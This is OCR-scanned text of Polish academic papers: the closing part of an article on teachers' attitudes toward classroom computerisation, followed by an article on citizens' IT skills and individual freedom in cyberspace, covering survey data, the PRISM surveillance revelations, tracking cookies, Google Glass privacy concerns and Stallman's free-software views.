kompetencji komputerowo-informatycznych oraz kompetencji wychowania
uczniow w zrozumieniu watwien jakie powoduja w wielu dziedzinach zycia, ale
1 pojmowania zagrozen, jakie niosg (a w nich bedzie si¢ zawiera¢ zrozumienie
owych zagrozen zarowno od strony technicznej, jak i etycznej).

3. Postawa nauczyciela wobec informatyki

Nauczyciel pracuje z wieloma kategoriami uczniow w subiektywny sposob
oceniajacych zjawisko komputeryzacji i w szkole, i w zyciu codziennym.

Podobnie postawy nauczycieli wobec informatyki przybieraja zréznicowane
oblicza™.

Nauczyciele nastawieni na jak najpetniejsze wykorzystanie dorobku techniki,
dorobku informatyki oczekuja, iz komputer i1 jego wykorzystanie podniesie ja-
kos¢ ich pracy i jej efektywno$¢. Proces nauczania tylko wtedy bedzie dobry
i spetni swoje zadania edukacyjne, jesli bedzie si¢ opieralt o komputer. Wsrdd
wielu nauczycieli funkcjonuje nawet poglad, ze na $rednim i wyzszym poziomie
ksztatcenia idealng formg pracy jest e-learning?.

Pehiejsze wykorzystanie komputera i informatyki w szkole przez nauczy-
cieli powoduje powstawanie postulatéw o lepsze, nowoczesniejsze wyposaza-
nie pracowni szkolnych w sprzet medialny oraz komputeryzacj¢ nowszej gene-
racji.

0B, Wolny, Szkolna edukacja zdrowotna ukierunkowana na doskonalenie jakosci Zycia
uczniéw, Lublin 2012 , s. 250-251.

1 W oparciu 0: M. Batazak, Informatyka i media..., s. 5-16.

12 3. Bednarek, Multimedia w ksztatceniu, Warszawa 2006, s. 211.
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Nauczyciele zainteresowani wykorzystaniem komputera w swojej pracy
nie stronig od réznych form podniesienia wlasnego poziomu wiedzy i umiejet-
no$ci informatycznych, sprawnosci postugiwania si¢ wszechstronnymi pomo-
cami dydaktycznymi.

Nauczycieli zainteresowanych wykorzystaniem komputera charakteryzuje
pewna dociekliwo$¢ w obrgbie poznania funkcjonowania i praktycznego wyko-
rzystywania na lekcji i w pracy wiasnej, na etapie przygotowania do lekcji
i procesie doskonalenia zawodowego.

Owi nauczyciele rozumiejg konieczno$¢ posiadania odpowiedniej wiedzy.

W ich przypadku jest to szczegdlny rodzaj wiedzy pedagogicznej — wiedzy
z zakresu nauczyciela doby informatyki w szkole. Wiedza ta obok czes$ci mery-
torycznej z zakresu danego przedmiotu oraz wiedzy o0 uczniu i nauczaniu zawie-
ra tre$ci informatyczne i zdrowotne, etyczne, odnoszace si¢ do zastosowania
komputera w edukacji.

Na przeciwnym biegunie zainteresowania komputeryzacja nauczania sg nau-
czyciele zajmujacy stanowisko jej wrogie — przeciwnicy komputeryzacji
W nauczaniu.

Powodem takiego stanu rzeczy moze by¢ niedostateczna wiedza z zakresu
mozliwosci zastosowania komputera w szkole lub tez wtasne braki techniczne
W postugiwaniu si¢ urzadzeniem.

Cze$¢ nauczycieli, posiadajagcych nawet umiejetnosci informatyczne na wy-
starczajgcym poziomie, nie jest w stanie ich wykorzysta¢ z powodu brakéw
wyposazenia szkoty w odpowiednie urzadzenia.

Inni nauczyciele za$, posiadajacy je do ewentualnej dyspozycji, nie wykra-
czaja poza podstawowe, pewne dla nich umiejetnosci informatyczne z obawy
przed nieumys$lnym spowodowaniem usterek natury technicznej, programowe;j.
Pojawia si¢ niepewno$¢ wobec wykorzystania komputera, co moze by¢ spowo-
dowane marginalnym potraktowaniem T1 w ich przygotowaniu do pracy.

Zdaniem tych os6b prawdziwe nauczanie opiera si¢ na rzetelnej wiedzy
przedmiotowej, a nie na postugiwaniu si¢ nowinkami technicznymi w celu jej
przekazywania.

Szczegodlng grupe nauczycieli stanowia obojetni wobec komputeryzacji
nauczania. Tu przyczyn mozna szuka¢ nie tylko w stanie gotowosci ich do pra-
cy pedagogicznej, ale w mozliwos$ci skorzystania z komputera (braki formalne
w szkotach, niedostatecznie wyposazone pracownie szkolne).

Wielu nauczycieli skupia si¢ w swojej racy na tre§ciach zawartych w pod-
recznikach nauczania, wykorzystanie komputera w nauczanych przedmiotach
traktujgc jako zbedny wysitek.

Powyzszy podzial przedstawia w sposob bardzo uproszczony przyktady sto-
sunku nauczyciela do komputeryzacji w nauczaniu.
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Zakonczenie

Rézne czynniki powoduja powstawanie wielosci podej$¢ do zastosowania
komputera w nauczaniu®.

Obecny styl pracy szkoty, wymaga od wspotczesnego nauczyciela szcze-
g6lnych umiejetnosci w wykorzystywaniu najnowszego dorobku techniki w celu
podniesienia jako$ci edukacji poprzez uzycie urzadzen najnowszej generacji'.
Od nauczyciela wymagana jest wigc postawa animatora nowoczesnosci'®, ucza-
cego nie tylko swojego przedmiotu, ale $wiadczacego przykltadem o mozliwosci
zastosowania dorobku informatyki w usprawnianiu i ulepszaniu pracy. A w przy-
padku komputera i informatyki jest ona najbardziej widoczna.
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UMIEJETNOSCI INFORMATYCZNE JEDNOSTKI
A JEJ WOLNOSC WE WSPOL.CZESNEJ CYBERPRZESTRZENI

COMPUTER SCIENCE SKILLS OF AN INDIVIDUAL
AND ITS FREEDOM IN THE MODERN CYBERSPACE

Stowa kluczowe: umiejetnosci informatyczne, cyberprzestrzen, edukacja, wolno$¢ jednostki
Keywords: computer science skills, cyberspace, education, freedom of an individual

Streszczenie

W pracy poruszono problem wolnosci jednostki we wspotczesnej cyberprzestrzeni. WolnoS$ci
rozumianej jako $wiadome, niepodlegajace kontroli czynnikéw zewnetrznych korzystanie ze
wspdlczesnych zdobyczy teleinformatyki. Przeanalizowano formy i intensywno$¢ korzystania
z dostepnego oprogramowania, zwlaszcza umozliwiajacego korzystanie ze wszystkich funkcjonal-
nosci dostepnych w sieci Internet. Zwrocono uwage na stopien opanowania przez uzytkownikow
cyberprzestrzeni podstawowych technologii, jakimi sie ona postuguje. Wskazano na konieczno$¢
systematycznego podnoszenia umiej¢tnosci w zakresie ich wykorzystania. Poruszono role, jaka
powinny odegra¢ programy nauczania technologii teleinformatycznych i informatyki w systemie
edukacji jako czynnika majacego wplyw na funkcjonowanie cztonkdéw spoteczenstwa informacyj-
nego. Stwierdzono, ze wolno$¢ jednostki we wspotczesnej wirtualnej rzeczywistosei jest radykal-
nie ograniczona ze wzgledu na brak mozliwosci kontrolowania przez nig wykorzystywanych
technologii teleinformatycznych, a zwlaszcza uzywanego oprogramowania.

Summary

This work discusses a problem of freedom of an individual in the modern cyberspace. Such free-
dom is understood as independent of external influence awareness of using modern achievements of
teleinformatics. The form and intensity of use of available software has been analyzed, especially that
allowing to access all functionalities of the Internet. Attention has been drawn to a degree of mastering
by cyberspace users of basic technologies widely used there. A need for systematic increase in skills to
use the cyberspace has been appointed. It is also mentioned, what role should be played by programs of
computer science learning in the educational system, being essential in shaping the behavior of infor-
mation society members. It was stated, that a freedom of an individual in the modern virtual reality is
drastically limited by the lack of control of the technologies it uses, especially the software.

Wstep

Niezaprzeczalny pozostaje fakt, ze w zyciu wspolczesnego cztowieka, oby-
watela spoteczenstwa informacyjnego, technologie informacyjno-komunika-
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cyjne zaczynaja odgrywa¢ decydujaca role. Sa one obecne w kontaktach pry-
watnych, stuzbowych, na styku z administracja samorzadowa i panstwowa, uta-
twiajg operacje bankowe, sa pomocne przy dokonywaniu zakupow, umozliwiaja
$§ledzenie biezacych wydarzen i pozwalajg obywatelowi coraz efektywniej funk-
cjonowaé we wspotczesnej cyberprzestrzeni. By jednak je wykorzystywac nale-
zy naby¢ podstawowe umiejegtnosci zwigzane z ich obstuga. Opanowanie tych
umiejetnosei, szczegdlnie u mtodych osob, nie stanowi wigkszego problemu.
Nalezy jednak wyraznie zaznaczyé, ze nabycie bieglosci w postugiwaniu si¢
nowoczesnymi technologiami informacyjno-komunikacyjnymi nie jest tozsame
z doglebnym zrozumieniem podstaw ich dziatania. Przyktadowo zdecydowana
wiekszo$¢ uzytkownikdéw bankowosci elektronicznej wie, ze przy logowaniu do
serwisOw transakcyjnych nalezy upewnic si¢, czy realizowane potaczenie odby-
wa sie przy wykorzystaniu protokotow szyfrujacych, co sygnalizowane jest zna-
kiem ktodki na pasku narzedzi i nazwa protokotu https. Iluz jednak z tych uzyt-
kownikow rozumie zasad¢ dziatania tych protokotow szyfrujacych? Kto§ moze
zapytaé, po co zwyklemu uzytkownikowi bankowosci elektronicznej ta wiedza?
I jest to pytanie zasadne. Rzeczywiscie, zeby dokona¢ operacji bankowej przez
Internet ta wiedza nie jest potrzebna. Jest jednak z tym zwigzany jeden, ale za
bardzo istotny problem. Uzytkownik nie znajac dogl¢bnie zasad funkcjonowania
protokotow szyfrujacych zawierza, ze wykorzystywana aplikacja dziata popraw-
nie, nie ingerujac przy tym w jego prywatno$¢. W ten sposob scedowuje czes$¢
swojej wolnosci programowi komputerowemu, a doktadniej programistom
i firmie komputerowej, ktora te aplikacje wprowadzita na rynek. Sytuacje tego
typu wystepuja praktycznie przy korzystaniu ze wszystkich programéw kompu-
terowych, a zwlaszcza przy programach o zamknigtym kodzie.

1. Dynamiczny rozwdj technologii teleinformatycznych

Obecny rozwoj technologii teleinformatycznych cechuje przede wszystkim mo-
bilnos¢ i konwergencja sprzegtu. Mobilno$¢ sprawia, ze dostep do informacji (Interne-
tu) jest mozliwy z kazdej lokalizacji w ktorej znajduje si¢ uzytkownik, jezeli tylko
wyposazony jest w odpowiedni terminal telekomunikacyjny. Jeszcze w nie tak dale-
kiej przesztosci terminalem tym byt stacjonarny komputer. Obecnie w wyniku konwe-
rgencji sprzetu uzytkownik, wykorzystujac funkcjonalno$ci nowoczesnego telefonu
komorkowego, smartfonu czy tabletu dysponuje jednoczesnie dostepem do Interne-
tu, mozliwoscig prowadzenia rozméw telefonicznych, wykonywania zdje¢, krecenia
filmow czy ustalenia swojej lokalizacji dzicki wbudowanemu modutowi GPS.

Wedlug badan CBOS w 2013 roku 73% internautéw laczyto si¢ z Siecia
bezprzewodowo'. Charakterystyczne jest to, ze procent ten z roku na rok zna-

L M. Feliksiak, Komunikat z badar. BS/75/2013. Internauci 2013. http://www.chos.pl/SPIS-
KOM.POL/2013/K_075_13.PDF (dostep: 12.12.2013).
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czgco rosnie. W stosunku do roku 2012 wskaznik ten wzrost o 9 pkt proc., a w
stosunku do roku 2010 az o 28 punktow procentowychz.

Projekt Google Glass realizowany przez firm¢ Google zaktada, ze uzytkow-
nik wyposazony w specjalne okulary bedzie mogt w prawym gérnym rogu pola
widzenia na specjalnym polprzezroczystym ekranie (pryzmacie) wyswietlac
informacje przekazywane mu przez aplikacje dostepne poprzez okulary. Kamera
zamontowana w okularach bgdzie mogla rejestrowaé obraz doktadnie taki sam
jaki widzi uzytkownik, a dzigki potaczeniu poprzez Wi-Fi lub Bluetooth, za
posrednictwem powigzanego z nimi smartfona, wysyla¢ go do Internetu®. Do-
datkowo okulary wyposazone sa w modut GPS umozliwiajacy nawigacje oraz
lokalizacje uzytkownika. Przewidywana funkcja rozpoznawania twarzy, poprzez
analize zdje¢ zrobionych kamera, zostata na chwile obecna zablokowana przez
Kongres USA jako bezposrednio zagrazajaca prywatnosci pozostatych uzytkow-
nikow cyberprzestrzeni.

Podobne projekty nad ktorymi pracujg inne firmy z branzy IT, miedzy in-
nymi Microsoft i Samsung (Gear Glass), otwieraja nowy jakosciowo etap
w rozwoju mobilnych technologii teleinformacyjnych?.

W przypadku tych wszystkich projektow dotychczasowe funkcjonalnosci
uzywanego obecnie mobilnego sprzetu teleinformatycznego zostaja przeniesione
do zmodyfikowanych okularéw, w ktorych czes$¢ aplikacji jest dodatkowo uru-
chamiana glosem.

2. Umiejetnosci teleinformatyczne obywateli oceniane poprzez pryzmat
wykorzystywanych przez nich ushug i aplikacji

Mozna uznaé, ze najbardziej obiektywnym sposobem ocenienia umiejgtno-
sci teleinformatycznych obywateli jest przeanalizowanie stopnia opanowania
przez nich podstawowych ustug i aplikacji. Punktem wyjscia przy wyborze tych
ustug i aplikacji moga by¢ obszary zastosowan komputerow i technologii infor-
macyjnej uwzgledniane przy nadawaniu Europejskiego Certyfikatu Umiejetno-

2 Tamze.

3p. Grabiec, Sprawdzilismy juz Google Glass, czyli inteligentne okulary Google. Na stronie
http://www.pcworld.pl/news/393703/Sprawdzilismy.juz.Google.Glass.czyli.inteligentne.okulary
.Google.html (dostep: 15.12.2013).

* L. Whitney, Microsoft reportedly testing its own version of Google Glass. Na stronie
http://news.cnet.com/8301-10805_3-57608641-75/microsoft-reportedly-testing-its-own-version-of
-google-glass/ (dostep: 10.12.2013); K. Jasiotek, Samsung Gear Glass: konkurencja dla Google
Glass? Na stronie. http://www. komputerswiat.pl/nowosci/sprzet/2013/41/samsung-gear-glass-
konkurencja-dla-google-glass.aspx (dostep: 20.12.2013).
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$ci Komputerowych ECDL (European Computer Driving Licence)®. Przy zdo-
bywaniu tego certyfikatu nalezy wykaza¢ si¢ odpowiednimi umiegjgtnosciami
w takich dziedzinach jak: podstawy technik informatycznych, uzytkowanie
komputeréw, przetwarzanie tekstow, arkusze kalkulacyjne, bazy danych, grafika
menedzerska i prezentacyjna, ushugi w sieciach informatycznych®,

Tematyke te¢ w badaniach umiejetnosci teleinformatycznych obywateli
uwzgledniono zaréwno w Diagnozie Spotecznej 2013 ,,Warunki i Jako$¢ Zycia
Polakéw”, jak i w komunikacie CBOS ,,Internauci 2013, w ktorym skupiono
si¢ glownie na korzystaniu z ustug oferowanych przez Internet’.

W Diagnozie Spotecznej 2013 ,,Warunki i Jako§¢ Zycia Polakéw” w bada-
niach umiejgtnosci korzystania z komputerow uwzgledniono nastgpujgce umie-
jetnosci (w nawiasach podano procent uzytkownikow posiadajacych te umiejet-
no$¢)®: | kopiowanie lub przenoszenie pliku albo folderu (66,5%), uzywanie
polecenia kopiowania, wycinania i wklejania w celu powielania lub przemiesz-
czenia fragmentow dokumentu (59,3%), wykorzystanie podstawowych funkcji
matematycznych w arkuszu kalkulacyjnym (35,2%), tworzenie elektronicznej
prezentacji (22,6%), instalowanie nowych urzadzen (np. drukarki, modemu,
skanera) (34,3%), pisanie programu komputerowego z uzyciem jgzyka progra-
mowania (8,1%)”. Dane te pokazuja, Ze stopien opanowania podstawowych
umiej¢tnoscei zwigzanych z obstugg komputera jest stosunkowo niski. Dodatko-
wo umiejetnosci te od roku 2007, jak z wynika z tych badan, w wigkszoS$ci przy-
padkoéw systematycznie malejg. Bardzo niepokojacy jest rowniez fakt, ze zaa-
wansowane umiejetnosci zwigzane z programowaniem komputerowym posiada
mniej niz co dziesigty uzytkownik komputerow.

Wydaje sig, ze w tej sytuacji nalezaloby przejrze¢ podstawy nauczania tech-
nologii informacyjno-komunikacyjnych i informatyki na wszystkich poziomach
ksztalcenia, w tym ksztatcenia ustawicznego, i zintensyfikowa¢ proces dydak-
tyczny pod katem nauki obstugi systeméw komputerowych i programowania

Rozwoj technologii mobilnych, utatwiony dostep do sieci, przeniesienie do
Internetu wielu ustug zwigzanych z e Panstwem, e-handlem, e-bankowoscia
i ogoélnie z e-ustugami spowodowat, Zze obecnie komputer jest wykorzystywany
gldwnie jako terminal dostgpu do Sieci. Potwierdzaja to zarowno badania pro-

® http://www.ecdl.byd.pl/index.php?id=109&submenu=114

® Tamze.

" D. Batorski, Polacy wobec technologii cyfrowych — uwarunkowania dostepnosci i sposobéw
korzystania. Diagnoza Spoteczna 2013 Warunki i Jakosé Zycia Polakéw — Raport [Special issug].
Contemporary Economics 2013, 7, 317-341 DOI: 10.5709/ce.1897-9254.114; M. Feliksiak, Ko-
munikat z badan BS/75/2013. Internauci 2013. http://www.cbos.pl/SPISKOM.POL/2013/K_
075_13.PDF (dostep: 12.12.2013).

® D. Batorski, Polacy wobec...
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wadzone w ramach projektu Diagnoza Spoteczna 2013 ,,Warunki i Jako$¢ Zycia
Polakéw” jak i przez CBOS®.

Wedtug badan CBOS w 2013 roku 60% dorostych Polakow korzystato z In-
ternetu®®. Przy czym 75% internautow, tj. 45% badanych dokonato zakupow
przez Internet, 59% internautow (36% badanych) korzystato z ustug bankowosci
elektronicznej, 56% internautow (34% badanych) czytalo internetowe wersje
gazet i czasopism. Mniejsza popularnoscia cieszylo si¢ $cigganie darmowych
programow, muzyki i filméw — odpowiednio 34% i 24%, czy korzystanie z tre-
sci dostgpnych w Internecie za optata — odpowiednio 12% i 7%. Na portalach
spolecznosciowych zarejestrowanych bylo 60% internautow (36% badanych),
przy czym portale internetowe byly wykorzystywane przez internautdéw (w na-
wiasie procent internautow realizujacych dana ustuge) przede wszystkim do
utrzymywania kontaktow ze znajomymi (50%), odnawiania dawnych znajomo-
sci (41%), rozmawiania i uczestniczenia w forach dyskusyjnych (27%). Naj-
mniejszg popularnoscig cieszyto si¢ wsrod internautdéw nawigzywanie na porta-
lach spotecznosciowych znajomosci zawodowych i biznesowych. Czynito to
tylko 14% internautow.

Nalezy zauwazy¢, ze zarowno z badan CBOS, jak i z Diagnozy Spolecznej
2013 ,Warunki i Jako$¢ Zycia Polakéw” wynika, iz korzystanie z technologii
informacyjno-komunikacyjnych i Internetu jest silnie uzaleznione od wieku
i wyksztalcenia. Im wyzsze wyksztatcenie i nizszy wiek tym procent wykorzy-
stujacych te technologie i korzystajacych z Internetu jest wyzszy. Przyktadowo,
wedtug badan CBOS, wsrod 0sob majacych wyzsze wyksztatcenie 92% to inter-
nauci, a w grupie osob w wyksztatceniem zawodowym jest tylko 45% internau-
tow™. W grupie osob w wieku 18-24 lata 93% to internauci. Tymczasem
w grupie wiekowej 65 lat i wiecej internauci stanowia tylko 11%. Te dane nale-
zy bezwzglednie uwzgledni¢ przy analizie problemu wykluczenia cyfrowego
i sposobu jego ograniczenia. Problem ten, jak wynika z przedstawionych da-
nych, dotyczy os6b z niskim wyksztalceniem i 0sob starszych.

3. Prywatno$¢ i wolno$é w sieci
Kiedy w czerwcu 2013 roku pracownik NSA (National Security Agency),

Edward Snowden, ujawnit dziennikom ,,The Guardian” i ,,The Washington
Post” materiaty pokazujace skale inwigilacji uzytkownikow sieci telekomunika-

°D. Batorski, Polacy wobec...; M. Feliksiak, Komunikat z badan. BS/75/2013. Internauci
2013. http://www.cbos.pl/SPISKOM.POL/2013/K_075_13.PDF (dostep: 12.12.2013).

0 Tamze.

1 Tamze.

176



cyjnych i Internetu przez stuzby wywiadu elektronicznego USA i Wielkiej Bry-
tanii (Government Communications Headquarters) stato si¢ jasne, ze skonczyt
si¢ pewien etap w historii Sieci (materialy te sa systematycznie ujawniane przez
obie gazety)™. Wybuchta tzw. afera PRISM (od nazwy aplikacji wykorzystywa-
nej przez NSA do inwigilowania internautéw). Od tego momentu dla specjali-
stow od bezpieczenstwa sieciowego czas bedzie si¢ liczyt do 1 po aferze PRISM.

Materiaty udostgpnione przez E. Snowdena nie pozostawiaja ztudzen, ze
stuzby specjalne USA sg w stanie praktycznie pozyskac kazda informacje, ktora
ukazata si¢ w sieci. W duzej mierze gwarantuje im to wspotpraca (oficjalna
dzigki nakazom sgdowym lub mniej oficjalna) z takimi firmami z branzy IT jak:
Microsoft, Yahoo, Google, Facebook, PalTalk, YouTube, AOL, Skype czy Ap-
ple. Dzigki tej wspotpracy NSA jest w stanie pozyskiwac pliki audio i wideo,
maile, dokumenty i inne dane uzytkownikéw, w tym dane umieszczone
W ,,chmurze”. NSA jest tez w stanie kontrolowa¢ wideokonferencje, portale
spotecznosciowe, czaty i komunikacj¢ VolP.

Ponadto wedtug Edwarda Snowdena stuzby specjalne USA 1 Wielkiej Bry-
tanii do kontrolowania komunikacji w sieci uzywaja dodatkowych wyspecjali-
zowanych aplikacji i systemow takich jak Boundless Informant, do statystycznej
analizy podstuchow i kategoryzowania metadanych, czy systemoéw FAIRVIEV
i BLARNEY do zbierania na biezgco informacji z kabli $wiattowodowych
i innej infrastruktury telekomunikacyjnej. Charakterystyczny jest fakt, ze infor-
macje uzyskane od Edwarda Snowdena, a publikowane przez ,,The Guardian” sg
czgsciowo ocenzurowane (za zgodg redakcji) co dowodzi faktu, ze do opinii
publicznej nie docieraja wszystkie udostepnione informacje. Nalezy tutaj zadaé
pytanie, czego opinia publiczna jeszcze nie wie?

Dodatkowo, wedtug informacji Snowdena, informatycy ze specjalnej super-
tajnej sekcji TAO (Tailored Access Operations) dziatajacej w ramach NSA sg
w stanie wlamac¢ si¢ do dowolnego komputera podtaczonego do sieci i uzyskac
dostep do jego zasobdéw. Nie ma przy tym znaczenia, czy na tych komputerach
sg zainstalowane programy antywirusowe, antyspamowe oraz czy sa one chro-
nione przez zapory ogniowe.

Afera PRISM wybuchta w okresie, w ktorym naruszanie prywatno$ci uzyt-
kownika w sieci, jego bezpieczenstwa i walka z wszelkiego rodzaju inwigilacjg
internauty poprzez sie¢ staly sie kluczowymi problemami podejmowanymi przez
agendy Unii Europejskiej i organizacje walczace o prawa cztowieka.

W ramach tych dziatan Polska dostosowata swoje Prawo telekomunikacyjne
do Dyrektywy 2009/136/WE Unii Europejskiej zmierzajacej do poprawy pry-
watnosci uzytkownikow w Internecie poprzez regulacje zwigzane z plikami coo-

12 http:/www.theguardian.com/uk; http://washingtonpost.com
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kies®®. W art. 173 nowej ustawy Prawo telekomunikacyjne, obowiazujacej
w Polsce od 22 marca 2013 roku, wskazano informacje, jakie nalezy podaé
uzytkownikom strony internetowej zwigzane z plikami cookies™.

Nalezy w tym miejscu wyraznie zaznaczy¢, ze regulacje prawne zwigzane
z wykorzystywaniem na stronach internetowych plikow cookies, cho¢ istotne
z punktu widzenia uzytkownika Internetu, nie rozwigzujg probleméw zwigza-
nych z mozliwoscig sledzenia jego dziatan w Sieci.

O wiele grozniejsze sa tak zwane Flash Cookies (Local Shared Objects —
LSO), czyli Lokalne Obiekty Wspoldzielone. Sa to pliki o objetosci 100 kB,
(pliki cookies to tylko 4 kB) zapisywane przez przegladarke na dysku kompute-
ra, jezeli uzytkownik odwiedzi strong WWW zawierajacg dowolny obiekt
Flasha. Obiekty te co do zasady zapisujg takie same informacje jak pliki cookies.
Posiadajg jednak specyficzne dla nich cechy. Sa praktycznie nieusuwalne z sys-
temu. Nie ma rowniez mozliwosci ich przegladania. Poza tym, co jest niezwykle
niepokojace, wickszos¢ uzytkownikow Internetu nie zdaje sobie sprawy z ich
istnienia®. Jak dotychczas, zaden ustawodawca nie wprowadzit prawnych ure-
gulowan zwigzanych z wykorzystywaniem przez strony WWW Flash Cookies.

Dodatkowo wprowadzenie prawnych uregulowan zwigzanych ze zwyktymi
plikami cookies spowodowato, ze $wiatowe firmy z branzy IT zaczely opraco-
wywac nowe technologie zwigzane z mozliwo$cig $ledzenia dziatan uzytkowni-
ka w sieci.

Przyktadowo, firma Google chce wprowadzi¢ w miejsce plikdw cookies in-
dywidualny anonimowy identyfikator uzytkownika (AdID — anonymous identi-
fier for advertising)'®. Z dostepnych informacji wynika, ze identyfikator ten m.
in., bedzie ustawiany na poziomie przegladarki, uzytkownik bedzie decydowat,
czy 1 do ktorych reklamodawcow majg trafi¢ jego preferencje oraz bedzie mogt
ustawi¢ rozne poziomy prywatnosci w zaleznosci sesji przegladania. Charakte-

13 Dyrektywa Parlamentu Europejskiego i Rady 2009/136/WE z dnia 25 listopada 2009 r
zmieniajaca Dyrektywe 2002/22/WE w sprawie ustugi powszechnej i zwigzanych z sieciami
i ustugami facznosci elektronicznej praw uzytkownikoéw, Dyrektywe 2002/58/WE dotyczaca prze-
twarzania danych osobowych i ochrony prywatnosci w sektorze tacznosci elektronicznej oraz
Rozporzadzenie (WE) nr 2006/2004 w sprawie wspolpracy migdzy organami krajowymi odpo-
wiedzialnymi za egzekwowanie przepisow prawa w zakresie ochrony konsumentéw. http://eur-
lex.europa.eu/LexUriServ/LexUriServ.do?uri=0J:L:2009:337:0011: 0036:PI:PDF (dostep: 15.12.
2013).

4 Ustawa z dnia 16 listopada 2012 r. o zmianie ustawy Prawo telekomunikacyjne oraz nie-
ktorych innych ustaw (dostep: 9.10.2013).

5 p. Konieczny, Grozne ciasteczka Flasahowe (Flash Cookies); Na stronie http://blog.ko-
nieczny.be/2008/11/28/grozne-ciasteczka-flashowe-flash-cookies/ (dostegp:15.10.2010)

6 M. Maj, A4dID od Google zastgpi ciasteczka? Gigant chce wilasnego narzedzia Sledzenia.
http://di.com.pl/news/48837,0,AdID_od_Google_zastapi_ciasteczka_Gigant_chce_wlasnego narzedzia
_sledzenia.html (dostep: 10.12.2013).
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rystyczng cecha tego rozwigzania jest rowniez fakt, ze uzytkownik bedzie mogt
posiada¢ kilka identyfikatoréw. Dodatkowo ustawienia AdID beda mogly by¢
resetowane w okreslonym przedziale czasowym (np. co rok)*’.

Dziatalnos¢ firmy Google, zwigzana z przedstawionym wyzej projektem
Google Glass, zaniepokoita rzecznikow ochrony danych osobowych z Grupy
Roboczej (niezalezny europejski organ doradczy Komisji Europejskiej w zakre-
sie ochrony danych osobowych i prywatnosci) oraz Australii, Nowej Zelandii,
Meksyku, Szwajcarii, Izraela i Kanady, ktorzy skierowali do firmy Google list
z prosba o odpowiedZ na nastepujace pytania'®: W jaki sposob Google Glass
spetnia wymogi przepisow o ochronie danych osobowych? Jakie gwarancje
ochrony prywatno$ci zostaly wprowadzone przez Google oraz inne podmioty
odpowiedzialne za rozwoj aplikacji? Jakie informacje Google zbiera poprzez
Google Glass oraz jakie informacje sa przekazywane podmiotom trzecim, w tym
odpowiedzialnym za rozwdj aplikacji? Podczas gdy Google zdecydowala si¢ nie
dotaczaé funkcji rozpoznawania twarzy do Google Glass, w jaki sposob zamie-
rza rozwigzywac konkretne problemy zwigzane z rozpoznawaniem twarzy, ktore
moga si¢ pojawi¢ w przysztosci? Czy Google zajmuje si¢ zagadnieniami, ktore
wigzg si¢ z produktem w szerszym kontek$cie spolecznym i etycznym, np.
ukradkowe zbieranie danych o innych osobach? Czy Google zajmuje si¢ zagad-
nieniami, ktore wiazg si¢ z produktem w szerszym kontekscie spotecznym i etycz-
nym, np. ukradkowe zbieranie danych o innych osobach? Czy Google przeprowa-
dzita ocen¢ zagrozen dla prywatnosci, ktorej wynikami chciataby si¢ podzieli¢?
Czy Google moglaby zademonstrowa¢ urzadzenie w naszych urzedach i czy zgo-
dzitaby sie, aby zainteresowane organy ochrony danych osobowych je przetesto-
waty? Nie ma jeszcze informacji czy na te bardzo wazne z punktu widzenia
ochrony prywatno$ci uzytkownika pytania, firma Google udzielita odpowiedzi.

Radykalne recepty na zapewnienie sobie prywatnosci i bezpieczenstwa
w sieci podat w trakcie swojego wyktadu pt ,,Wolne spoteczenstwo cyfrowe”,
wygloszonego 13 marca 2013 roku na Politechnice Warszawskiej Richard
Stallman®. Richard Stallman to guru wolnego oprogramowania, ktéry w latach
80 XX w. zapoczatkowat system operacyjny GNU?. Posta¢ w wielu przypad-
kach kontrowersyjna i jak niektorzy twierdzg wyznajaca idealistyczne wartosci
ale przy tym niezwykle uzdolniona informatycznie.

7 Tamze.

8 Google Glass a ochrona naszej prywatosci. Na stronie http://www.infor.pl/prawo/prawa-
konsumenta/prawa-konsumenta/319857,2,Google-Glass-a-ochrona-naszej-prywatnosci.html  (do-
step: 1.12.2013).

¥ Wolne spoleczefistwo cyfrowe” — wyklad Richarda Stallmana, http://www.pw.edu.pl/Wy-
darzenia2/Wolne-spoleczenstwo-cyfrowe-wyklad-Richarda-Stallmana (dostep: 13.03.2013).

20 http://pl.wikipedia.org/wiki/Richard_Stallman

179



Jak napisatl Lukasz Mirocha, stuchacz tego wyktadu, Richard Stallman roz-
poczat prelekcje od stwierdzenia: ,,Prosz¢ nie umieszczaé zdjgé z tego spotkania
na Facebooku, w ogole jesli jesteScie rozsadni, wcale nie uzywajcie tego porta-
lu**. Juz to zdanie dobitnie wykazuje, jakie stanowisko zajmuje R. Stallman wo-
bec tego typu portali, ktorym w dalszym ciagu wyktadu zarzucat dziatalnos$¢ na-
stawiong wyltacznie na zysk, prowadzaca do zniewolenia uzytkownika Internetu.

Podstawowg recepta Richarda Stallmana na uwolnienie si¢ jednostki od wply-
wu wielkich korporacji dziatajacych w sektorze IT jest wykorzystywanie wyltacznie
wolnego oprogramowania z mozliwoscig dostepu do kodu zrédtowego wszelkich
aplikacji i sprawdzeniu czy nie zawieraja one elementéw umozliwiajacych kontro-
lowanie uzytkownika®. Koncepcja bardzo stuszna, tylko czy mozliwa do realizacji,
wobec faktu, ze zdecydowana wigkszo$¢ uzytkownikéw Internetu nie zna zasad
programowania? Poza tym, stopien opanowania sztuki programistycznej umozliwia-
jacej kontrolg poprawnosci aplikacji typu system operacyjny jest poza mozliwo-
sciami rowniez zdecydowanej wigkszosci zawodowych programistow, Chyba ze si¢
jest Richardem Stollmanem lub Linusem Torvaldsem.

Z powyzszych informacji mozna wywnioskowac, ze walka o prywatnose,
a tym samym wolno$¢ jednostki i jej bezpieczenstwo w Internecie dopiero sig
rozpoczeta. Trudno bowiem przypuszczac, ze potezny rynek reklam szacowany
na miliardy dolaréw oraz sklepy internetowe tatwo zrezygnujg z mozliwosci
$ledzenia poczynan uzytkownika w sieci i pozyskiwania jego preferencji w ce-
lach marketingowych. A niewysokie kompetencje informatyczne uzytkownikow
Internetu nie bedg zadng barierg w zablokowaniu tego typu dziatan.

Z.akonczenie

Dynamiczny rozwoj teleinformatyki, powszechno$¢ dostepu do Internetu, roz-
woj aplikacji sieciowych, popularno$¢ portali spoteczno$ciowych sa czynnikami,
ktore paradoksalnie ograniczaja wolno$¢ jednostki we wspotczesnej cyberprzestrze-
ni. Wynika to z faktu, Ze za ceng prostoty w korzystaniu ze wspotczesnych techno-
logii teleinformatycznych, jednostka pozbawia si¢ mozliwosci kontroli nad wyko-
rzystywanymi aplikacjami, zwlaszcza sieciowymi. Mozna przypuszcza¢, ze problem
ten bedzie narastal. Stopien trudnosci, jakim cechujg si¢ od strony programowej
wspotczesne aplikacje powoduje, ze nie istnieje mozliwos¢ opanowania zawitosci
tych aplikacji przez zwyklego uzytkownika cyberprzestrzeni.

